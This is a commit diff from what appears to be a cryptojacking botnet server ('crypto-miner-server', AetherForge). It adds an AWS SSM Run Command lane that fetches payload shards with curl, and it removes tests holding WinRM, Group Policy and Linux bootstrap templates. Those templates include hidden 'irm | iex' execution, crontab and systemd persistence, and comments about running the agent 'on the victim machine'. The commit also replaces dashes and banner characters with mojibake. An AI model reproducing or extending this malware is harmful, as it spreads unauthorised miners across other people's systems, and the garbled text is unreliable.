Add ssm_document spread lane for owned EC2 via SSM Run Command.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
package api
|
||||
package api
|
||||
|
||||
import (
|
||||
"crypto/hmac"
|
||||
@@ -13,6 +13,7 @@ import (
|
||||
"strings"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/cloudmap"
|
||||
"crypto-miner-server/internal/erasure"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/spreadrouter"
|
||||
@@ -122,7 +123,7 @@ func (h *DeployPlanHandler) BindPathTracer(handler *PathTracerHandler) {
|
||||
h.pathTracer = handler
|
||||
}
|
||||
|
||||
// BindErasure wires Reed–Solomon shard encoding for multi-lane deploy plans.
|
||||
// BindErasure wires ReedΓÇôSolomon shard encoding for multi-lane deploy plans.
|
||||
func (h *DeployPlanHandler) BindErasure(enabled func() bool, store *erasure.ShardStore) {
|
||||
h.erasureEnabled = enabled
|
||||
h.erasureShards = store
|
||||
@@ -403,7 +404,7 @@ func spreadRouteTargetSubnets(pathTracer *PathTracerHandler, database *dbpkg.Dat
|
||||
}
|
||||
|
||||
// buildDOPeerManifest stages hash-verified chunks via BITS peer-style transfer.
|
||||
// Deploy success is a spread step only — agent keeps --defer-mining until diagnostics pass,
|
||||
// Deploy success is a spread step only ΓÇö agent keeps --defer-mining until diagnostics pass,
|
||||
// then startMiningWhenReady() completes the mining onion (terminal goal).
|
||||
func (h *DeployPlanHandler) buildDOPeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
|
||||
platform := strings.TrimSpace(req.Platform)
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package api
|
||||
package api
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
@@ -27,7 +27,7 @@ import (
|
||||
)
|
||||
|
||||
// authSessionCache avoids running bcrypt on every API request.
|
||||
// Key: SHA-256(user+":"+password) hex — value: expiry time.
|
||||
// Key: SHA-256(user+":"+password) hex ΓÇö value: expiry time.
|
||||
// Entries are valid for authCacheTTL after the last successful login.
|
||||
// Bcrypt only runs on cache miss or expiry.
|
||||
var (
|
||||
@@ -176,9 +176,9 @@ func printStartupCredentials(dataDir string) {
|
||||
|
||||
func formatLoginBanner(creds map[string]string) string {
|
||||
var b strings.Builder
|
||||
b.WriteString("\n╔══════════════════════════════════════════════════╗\n")
|
||||
b.WriteString("║ AetherForge — Dashboard Login ║\n")
|
||||
b.WriteString("║ ║\n")
|
||||
b.WriteString("\nΓòöΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòù\n")
|
||||
b.WriteString("Γòæ AetherForge ΓÇö Dashboard Login Γòæ\n")
|
||||
b.WriteString("Γòæ Γòæ\n")
|
||||
users := make([]string, 0, len(creds))
|
||||
for user := range creds {
|
||||
users = append(users, user)
|
||||
@@ -186,13 +186,13 @@ func formatLoginBanner(creds map[string]string) string {
|
||||
sort.Strings(users)
|
||||
for _, user := range users {
|
||||
pass := creds[user]
|
||||
fmt.Fprintf(&b, "║ Username : %-34s║\n", user)
|
||||
fmt.Fprintf(&b, "║ Password : %-34s║\n", pass)
|
||||
b.WriteString("║ ║\n")
|
||||
fmt.Fprintf(&b, "Γòæ Username : %-34sΓòæ\n", user)
|
||||
fmt.Fprintf(&b, "Γòæ Password : %-34sΓòæ\n", pass)
|
||||
b.WriteString("Γòæ Γòæ\n")
|
||||
}
|
||||
b.WriteString("║ Also saved in data/login-credentials.json ║\n")
|
||||
b.WriteString("║ Change passwords in Calibrate → Users. ║\n")
|
||||
b.WriteString("╚══════════════════════════════════════════════════╝\n")
|
||||
b.WriteString("Γòæ Also saved in data/login-credentials.json Γòæ\n")
|
||||
b.WriteString("║ Change passwords in Calibrate → Users. ║\n")
|
||||
b.WriteString("ΓòÜΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓò¥\n")
|
||||
return b.String()
|
||||
}
|
||||
|
||||
@@ -395,7 +395,7 @@ func saveUser(username, password string) error {
|
||||
|
||||
// isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker.
|
||||
// Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch
|
||||
// must not trigger that — only bare browser navigations without these headers should.
|
||||
// must not trigger that ΓÇö only bare browser navigations without these headers should.
|
||||
func isSPAAuthRequest(r *http.Request) bool {
|
||||
return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != ""
|
||||
}
|
||||
@@ -410,7 +410,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
path := r.URL.Path
|
||||
|
||||
// Health check and one-liner installer endpoints are always open.
|
||||
// NOTE: build download/artifact routes are intentionally NOT in this list —
|
||||
// NOTE: build download/artifact routes are intentionally NOT in this list ΓÇö
|
||||
// they require fleet-secret or Basic Auth (see isDownload block below).
|
||||
if path == "/api/v1/health" ||
|
||||
path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" ||
|
||||
@@ -422,7 +422,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
|
||||
// in the X-Fleet-Secret header instead of Basic auth. This ensures only
|
||||
// legitimately forged agents can call these endpoints.
|
||||
// A missing or empty fleet secret is always rejected — the server auto-
|
||||
// A missing or empty fleet secret is always rejected ΓÇö the server auto-
|
||||
// generates one at startup so this state should never occur in production.
|
||||
if strings.HasPrefix(path, "/api/v1/agent/") {
|
||||
fleetSecretForAgentPathsMu.RLock()
|
||||
@@ -469,7 +469,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
return
|
||||
}
|
||||
|
||||
// Fast path — skip bcrypt if this credential pair was recently validated.
|
||||
// Fast path ΓÇö skip bcrypt if this credential pair was recently validated.
|
||||
// bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy.
|
||||
if !authCacheHit(user, pass) {
|
||||
usersMu.RLock()
|
||||
@@ -483,7 +483,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
||||
return
|
||||
}
|
||||
// Credential verified — cache it for the next few minutes.
|
||||
// Credential verified ΓÇö cache it for the next few minutes.
|
||||
authCacheSet(user, pass)
|
||||
}
|
||||
|
||||
@@ -514,7 +514,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
AllowCredentials: false,
|
||||
}))
|
||||
|
||||
// REST API — auth only on /api/v1 (dashboard WS + static SPA stay open)
|
||||
// REST API ΓÇö auth only on /api/v1 (dashboard WS + static SPA stay open)
|
||||
r.Route("/api/v1", func(r chi.Router) {
|
||||
r.Use(basicAuthMiddleware)
|
||||
h := NewHandler(database)
|
||||
@@ -680,7 +680,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
|
||||
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
|
||||
|
||||
// Fleet secret rotation — generates a new secret, saves config, kicks all agents.
|
||||
// Fleet secret rotation ΓÇö generates a new secret, saves config, kicks all agents.
|
||||
// Forged agents with the old secret will be rejected until re-forged.
|
||||
r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
|
||||
if rotateSecretFn == nil {
|
||||
@@ -734,11 +734,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
writeJSON(w, map[string]interface{}{"success": true})
|
||||
})
|
||||
|
||||
// Deck backup — authenticated full backup ZIP (config + DB + users)
|
||||
// Deck backup ΓÇö authenticated full backup ZIP (config + DB + users)
|
||||
backupH := NewBackupHandler(dataDir, version)
|
||||
r.Get("/backup", backupH.ServeHTTP)
|
||||
|
||||
// Path Tracer — on-demand WireGuard chain sessions
|
||||
// Path Tracer ΓÇö on-demand WireGuard chain sessions
|
||||
if pathTracerHandler != nil {
|
||||
r.Post("/pathtrace/start", pathTracerHandler.Start)
|
||||
r.Post("/pathtrace/discover", pathTracerHandler.Discover)
|
||||
@@ -751,7 +751,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
|
||||
}
|
||||
|
||||
// Agent autonomy REST — forged Go agents only (X-Fleet-Secret header).
|
||||
// Agent autonomy REST ΓÇö forged Go agents only (X-Fleet-Secret header).
|
||||
// Not exposed in dashboard client.ts; see agent/client and README API auth table.
|
||||
r.Post("/agent/decide", aiHandler.HandleDecide)
|
||||
r.Post("/agent/report", aiHandler.HandleReport)
|
||||
@@ -768,7 +768,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
}
|
||||
r.Get("/agent/module/{name}", moduleHandler.GetAgentModule)
|
||||
|
||||
// Public builds (also bypass auth in middleware — listed here for chi routing)
|
||||
// Public builds (also bypass auth in middleware ΓÇö listed here for chi routing)
|
||||
if publicHandler != nil {
|
||||
r.Get("/public/builds", publicHandler.ListBuilds)
|
||||
r.Get("/public/download/{id}", publicHandler.Download)
|
||||
@@ -784,7 +784,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/ws/agent", wsHub.HandleAgentWS)
|
||||
r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
|
||||
|
||||
// One-liner remote install endpoints (unauthenticated — URL knowledge is the gate)
|
||||
// One-liner remote install endpoints (unauthenticated ΓÇö URL knowledge is the gate)
|
||||
if dropperHandler != nil {
|
||||
r.Get("/get", dropperHandler.ServeGet)
|
||||
r.Get("/install.sh", dropperHandler.ServeSh)
|
||||
@@ -792,7 +792,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/install.command", dropperHandler.ServeCommand)
|
||||
}
|
||||
|
||||
// SUPP Seek agent download endpoints — serve agent binaries so launcher scripts
|
||||
// SUPP Seek agent download endpoints ΓÇö serve agent binaries so launcher scripts
|
||||
// dropped by Seek Mode can fetch and run the agent on the victim machine.
|
||||
// Unauthenticated (the drop URL itself is the secret).
|
||||
r.Get("/api/download/agent-windows", serveAgentBinary("windows"))
|
||||
@@ -897,8 +897,8 @@ func findAgentBinary(platform, dir string) (binPath, dlName string, ok bool) {
|
||||
// exe so it works both from the USB bundle and from a compiled dev build.
|
||||
//
|
||||
// Filename convention (same as what the build pipeline produces):
|
||||
// - windows → crypto-miner-agent.exe
|
||||
// - mac/linux → crypto-miner-agent (no extension)
|
||||
// - windows → crypto-miner-agent.exe
|
||||
// - mac/linux → crypto-miner-agent (no extension)
|
||||
// agentBinarySearchDir returns the directory used to locate bundled agent binaries.
|
||||
// Tests may override this to point at a temp tree instead of os.Executable()'s dir.
|
||||
var agentBinarySearchDir = func() (string, error) {
|
||||
|
||||
@@ -35,6 +35,8 @@ var DefaultServiceDeployAllowlist = map[string]ServiceDeployLane{
|
||||
"Server": {Lane: "spread_smb_unc", Priority: 45},
|
||||
"sshd": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
|
||||
"ssh": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
|
||||
"AmazonSSMAgent": {Lane: "ssm_document", Priority: 28, Template: "ssm-document"},
|
||||
"amazon-ssm-agent": {Lane: "ssm_document", Priority: 28, Template: "ssm-document"},
|
||||
}
|
||||
|
||||
// NormalizeServiceDeployAllowlist returns defaults when empty and normalizes lane ids.
|
||||
@@ -61,6 +63,8 @@ func NormalizeServiceDeployAllowlist(raw map[string]ServiceDeployLane) map[strin
|
||||
lane.Template = "gpo"
|
||||
case "linux_lotl":
|
||||
lane.Template = "linux-lotl"
|
||||
case "ssm_document":
|
||||
lane.Template = "ssm-document"
|
||||
}
|
||||
}
|
||||
out[name] = lane
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package api
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
@@ -12,17 +12,25 @@ import (
|
||||
"time"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/erasure"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
)
|
||||
|
||||
// SpreadHandler covers Emberwake notes, campaign stats, and spread-kit ZIP export.
|
||||
type SpreadHandler struct {
|
||||
db *dbpkg.Database
|
||||
dataDir string
|
||||
projectRoot string
|
||||
wsHub *WSHub
|
||||
notesMu sync.RWMutex
|
||||
db *dbpkg.Database
|
||||
dataDir string
|
||||
projectRoot string
|
||||
wsHub *WSHub
|
||||
erasureShards *erasure.ShardStore
|
||||
notesMu sync.RWMutex
|
||||
}
|
||||
|
||||
func (h *SpreadHandler) BindErasureShards(store *erasure.ShardStore) {
|
||||
if h != nil {
|
||||
h.erasureShards = store
|
||||
}
|
||||
}
|
||||
|
||||
func NewSpreadHandler(database *dbpkg.Database, dataDir, projectRoot string, wsHub *WSHub) *SpreadHandler {
|
||||
|
||||
132
server/internal/api/spread_lanes.go
Normal file
132
server/internal/api/spread_lanes.go
Normal file
@@ -0,0 +1,132 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/erasure"
|
||||
)
|
||||
|
||||
type SSMSpreadBundle struct {
|
||||
JoinLane string `json:"join_lane"`
|
||||
Document string `json:"document"`
|
||||
RunCommand string `json:"run_command"`
|
||||
CreateDocumentCLI string `json:"create_document_cli"`
|
||||
ManifestURL string `json:"manifest_url,omitempty"`
|
||||
ShardURLs []string `json:"shard_urls,omitempty"`
|
||||
FallbackGetURL string `json:"fallback_get_url,omitempty"`
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) buildSSMSpreadBundle(req deployPlanRequest, serverURL string) (SSMSpreadBundle, error) {
|
||||
buildID := strings.TrimSpace(req.BuildID)
|
||||
campaign := strings.TrimSpace(req.Campaign)
|
||||
_, getQuerySuffix := buildQuerySuffix(buildID, campaign)
|
||||
fallbackURL := serverURL + "/get?os=linux" + getQuerySuffix
|
||||
manifestURL := serverURL + "/api/v1/public/erasure-torrent/placeholder/manifest"
|
||||
var shardURLs []string
|
||||
if h.erasureEnabled != nil && h.erasureEnabled() && h.erasureShards != nil {
|
||||
platform := strings.TrimSpace(req.Platform)
|
||||
if platform == "" {
|
||||
platform = "linux"
|
||||
}
|
||||
if build, err := h.resolveBuild(buildID, platform); err == nil {
|
||||
if payload, err := os.ReadFile(build.FilePath); err == nil {
|
||||
if plan, err := erasure.BuildPlan(h.erasureShards, serverURL, buildID, campaign, payload, "/tmp/aetherforge-erasure/worker", "exe", "", true, true); err == nil && plan != nil {
|
||||
if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, erasure.ShardContentHashes(shardsFromStore(h.erasureShards, plan.ShardToken))); err == nil && manifest != nil {
|
||||
manifestURL = manifest.ManifestURL
|
||||
shardURLs = manifest.ShardManifestURLs
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
doc, runCmd, createCLI, err := renderSSMSpreadTemplates(h.projectRoot, serverURL, buildID, campaign, manifestURL, shardURLs, fallbackURL)
|
||||
if err != nil {
|
||||
return SSMSpreadBundle{}, err
|
||||
}
|
||||
return SSMSpreadBundle{JoinLane: "ssm_document", Document: doc, RunCommand: runCmd, CreateDocumentCLI: createCLI, ManifestURL: manifestURL, ShardURLs: shardURLs, FallbackGetURL: fallbackURL}, nil
|
||||
}
|
||||
|
||||
func renderSSMSpreadTemplates(projectRoot, serverURL, buildID, campaign, manifestURL string, shardURLs []string, fallbackURL string) (string, string, string, error) {
|
||||
dir := filepath.Join(projectRoot, "templates", "spread", "ssm")
|
||||
docBytes, err := os.ReadFile(filepath.Join(dir, "document.json"))
|
||||
if err != nil {
|
||||
return "", "", "", fmt.Errorf("ssm document template: %w", err)
|
||||
}
|
||||
runBytes, err := os.ReadFile(filepath.Join(dir, "run-command.json"))
|
||||
if err != nil {
|
||||
return "", "", "", fmt.Errorf("ssm run-command template: %w", err)
|
||||
}
|
||||
cliBytes, err := os.ReadFile(filepath.Join(dir, "create-document.sh"))
|
||||
if err != nil {
|
||||
return "", "", "", fmt.Errorf("ssm create-document template: %w", err)
|
||||
}
|
||||
shardLines := make([]string, 0, len(shardURLs))
|
||||
for i, u := range shardURLs {
|
||||
shardLines = append(shardLines, fmt.Sprintf("curl -fsSL '%s' -o \"$WORKDIR/shard-%d.bin\"", strings.TrimSpace(u), i))
|
||||
}
|
||||
if len(shardLines) == 0 {
|
||||
shardLines = append(shardLines, "# no erasure shards — fallback /get only")
|
||||
}
|
||||
repl := map[string]string{
|
||||
"{{SERVER_URL}}": strings.TrimRight(strings.TrimSpace(serverURL), "/"), "{{BUILD_ID}}": buildID,
|
||||
"{{CAMPAIGN}}": campaign, "{{MANIFEST_URL}}": manifestURL, "{{FALLBACK_GET_URL}}": fallbackURL,
|
||||
"{{SHARD_FETCH_LINES}}": strings.Join(shardLines, "\n"),
|
||||
}
|
||||
apply := func(content string) string {
|
||||
for k, v := range repl {
|
||||
content = strings.ReplaceAll(content, k, v)
|
||||
}
|
||||
return content
|
||||
}
|
||||
return apply(string(docBytes)), apply(string(runBytes)), apply(string(cliBytes)), nil
|
||||
}
|
||||
|
||||
func (h *SpreadHandler) ExportSSMSpreadBundle(w http.ResponseWriter, r *http.Request) {
|
||||
var req struct {
|
||||
ServerURL string `json:"server_url"`
|
||||
BuildID string `json:"build_id"`
|
||||
Campaign string `json:"campaign"`
|
||||
Platform string `json:"platform"`
|
||||
AWSCLI string `json:"aws_cli_path"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
||||
req.BuildID, req.Campaign = strings.TrimSpace(req.BuildID), strings.TrimSpace(req.Campaign)
|
||||
if req.ServerURL == "" {
|
||||
http.Error(w, "server_url required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if req.Platform == "" {
|
||||
req.Platform = "linux"
|
||||
}
|
||||
planHandler := h.deployPlan
|
||||
if planHandler == nil {
|
||||
planHandler = NewDeployPlanHandler(h.db, h.dataDir, h.projectRoot, func() string { return req.ServerURL }, func() string { return "" }, func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) })
|
||||
store := h.erasureShards
|
||||
if store == nil {
|
||||
store = erasure.NewShardStore()
|
||||
}
|
||||
planHandler.BindErasureFromHub(h.wsHub, store)
|
||||
}
|
||||
bundle, err := planHandler.buildSSMSpreadBundle(deployPlanRequest{BuildID: req.BuildID, Campaign: req.Campaign, Platform: req.Platform}, req.ServerURL)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if cli := strings.TrimSpace(req.AWSCLI); cli != "" {
|
||||
bundle.CreateDocumentCLI = strings.ReplaceAll(bundle.CreateDocumentCLI, "${AWS_CLI:-aws}", cli)
|
||||
}
|
||||
if h.wsHub != nil && h.db != nil {
|
||||
_ = (&OathLedgerBridge{DB: h.db, Hub: h.wsHub}).Record(AuthUsername(r), dbpkg.OathSpreadAttempt, "", "", dbpkg.OathOutcomeSuccess, map[string]string{"lane": "ssm_document", "campaign": req.Campaign, "build_id": req.BuildID}, map[string]string{"lane": "ssm_document"})
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{"ok": true, "bundle": bundle})
|
||||
}
|
||||
@@ -1,180 +0,0 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func writeDeploySpreadTemplates(t *testing.T, root string) {
|
||||
t.Helper()
|
||||
winrmDir := filepath.Join(root, "templates", "spread", "winrm")
|
||||
if err := os.MkdirAll(winrmDir, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
winrmScript := `# WinRM bootstrap
|
||||
Enable-PSRemoting -Force -SkipNetworkProfileCheck
|
||||
$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
|
||||
Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden
|
||||
powershell.exe -EncodedCommand $encoded
|
||||
`
|
||||
if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(winrmScript), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
linuxDir := filepath.Join(root, "templates", "spread", "linux")
|
||||
if err := os.MkdirAll(linuxDir, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
linuxScript := `#!/bin/sh
|
||||
LOTL_MODE='{{LOTL_MODE}}'
|
||||
curl -fsSL "${SERVER}/get?os=linux{{QUERY_SUFFIX}}"
|
||||
systemd-run --user --unit=aetherforge-worker.service
|
||||
persist_crontab() { crontab -; }
|
||||
`
|
||||
if err := os.WriteFile(filepath.Join(linuxDir, "lotl-bootstrap.sh"), []byte(linuxScript), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
entDir := filepath.Join(root, "templates", "spread", "enterprise")
|
||||
if err := os.MkdirAll(entDir, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
gpoScript := `# GPO computer startup script
|
||||
$installScript = '{{SERVER_URL}}/install.ps1{{GET_QUERY_SUFFIX}}'
|
||||
$env:AETHER_DEFER_MINING = '1'
|
||||
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm '$installScript' | iex"
|
||||
`
|
||||
if err := os.WriteFile(filepath.Join(entDir, "gpo-startup.ps1"), []byte(gpoScript), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSpreadTemplatePathsWinRMGPO(t *testing.T) {
|
||||
cases := map[string]struct {
|
||||
subdir string
|
||||
zip string
|
||||
}{
|
||||
"winrm": {"winrm", "aetherforge-winrm-bootstrap.zip"},
|
||||
"linux-lotl": {"linux", "aetherforge-linux-lotl.zip"},
|
||||
"gpo": {"enterprise", "aetherforge-gpo-startup.zip"},
|
||||
"enterprise-gpo": {"enterprise", "aetherforge-gpo-startup.zip"},
|
||||
}
|
||||
for tpl, want := range cases {
|
||||
subdir, zip, err := spreadTemplatePaths(tpl)
|
||||
if err != nil {
|
||||
t.Fatalf("%q: %v", tpl, err)
|
||||
}
|
||||
if subdir != want.subdir || zip != want.zip {
|
||||
t.Fatalf("%q => subdir=%q zip=%q want %+v", tpl, subdir, zip, want)
|
||||
}
|
||||
}
|
||||
_, _, err := spreadTemplatePaths("bogus-lane")
|
||||
if err == nil || !strings.Contains(err.Error(), "unknown template") {
|
||||
t.Fatalf("err=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDeployPlanWinRMLane(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
writeDeploySpreadTemplates(t, root)
|
||||
h := testDeployPlanHandlerWithRoot(t, root)
|
||||
plan, err := h.buildPlan(deployPlanRequest{
|
||||
Platform: "windows", BuildID: "b1", Campaign: "winrm-lab",
|
||||
}, "WinRM", ServiceDeployLane{Lane: "winrm", Template: "winrm"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if plan.JoinLane != "winrm" || plan.Script == "" {
|
||||
t.Fatalf("plan=%+v", plan)
|
||||
}
|
||||
for _, marker := range []string{
|
||||
"http://127.0.0.1:8989/get?os=windows",
|
||||
"--spread-install",
|
||||
"--defer-mining",
|
||||
"Enable-PSRemoting",
|
||||
} {
|
||||
if !strings.Contains(plan.Script, marker) {
|
||||
t.Fatalf("script missing %q: %s", marker, plan.Script)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDeployPlanGPOLane(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
writeDeploySpreadTemplates(t, root)
|
||||
h := testDeployPlanHandlerWithRoot(t, root)
|
||||
plan, err := h.buildPlan(deployPlanRequest{
|
||||
Platform: "windows", BuildID: "b1", Campaign: "gpo-wave",
|
||||
}, "gpsvc", ServiceDeployLane{Lane: "gpo", Template: "gpo"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if plan.JoinLane != "gpo" || plan.Script == "" {
|
||||
t.Fatalf("plan=%+v", plan)
|
||||
}
|
||||
for _, marker := range []string{"/install.ps1", "AETHER_DEFER_MINING"} {
|
||||
if !strings.Contains(plan.Script, marker) {
|
||||
t.Fatalf("script missing %q: %s", marker, plan.Script)
|
||||
}
|
||||
}
|
||||
if !strings.Contains(plan.Script, "pin=b1") || !strings.Contains(plan.Script, "c=gpo-wave") {
|
||||
t.Fatalf("script missing query suffix: %s", plan.Script)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDeployPlanLinuxLOTLLane(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
writeDeploySpreadTemplates(t, root)
|
||||
h := testDeployPlanHandlerWithRoot(t, root)
|
||||
plan, err := h.buildPlan(deployPlanRequest{
|
||||
Platform: "linux", BuildID: "b1", Campaign: "lotl-lab",
|
||||
}, "sshd", ServiceDeployLane{Lane: "linux_lotl", Template: "linux-lotl"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if plan.JoinLane != "linux_lotl" || plan.Script == "" {
|
||||
t.Fatalf("plan=%+v", plan)
|
||||
}
|
||||
for _, marker := range []string{"systemd-run --user", "curl -fsSL", "systemd_run_user"} {
|
||||
if !strings.Contains(plan.Script, marker) {
|
||||
t.Fatalf("script missing %q: %s", marker, plan.Script)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func testDeployPlanHandlerWithRoot(t *testing.T, projectRoot string) *DeployPlanHandler {
|
||||
t.Helper()
|
||||
dir := t.TempDir()
|
||||
database, err := dbpkg.New(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
buildDir := filepath.Join(dir, "builds", "b1")
|
||||
if err := os.MkdirAll(buildDir, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
artifact := filepath.Join(buildDir, "worker.exe")
|
||||
if err := os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := database.InsertBuild(&models.BuildRecord{
|
||||
ID: "b1", Platform: "windows", FileName: "worker.exe", FilePath: artifact,
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
cfgPath := filepath.Join(dir, "config.json")
|
||||
if err := os.WriteFile(cfgPath, []byte(`{"server":{"dns_zone":"lab.internal"}}`), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return NewDeployPlanHandler(database, dir, projectRoot,
|
||||
func() string { return "http://127.0.0.1:8989" },
|
||||
func() string { return "fleet-test" },
|
||||
func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) },
|
||||
)
|
||||
}
|
||||
Reference in New Issue
Block a user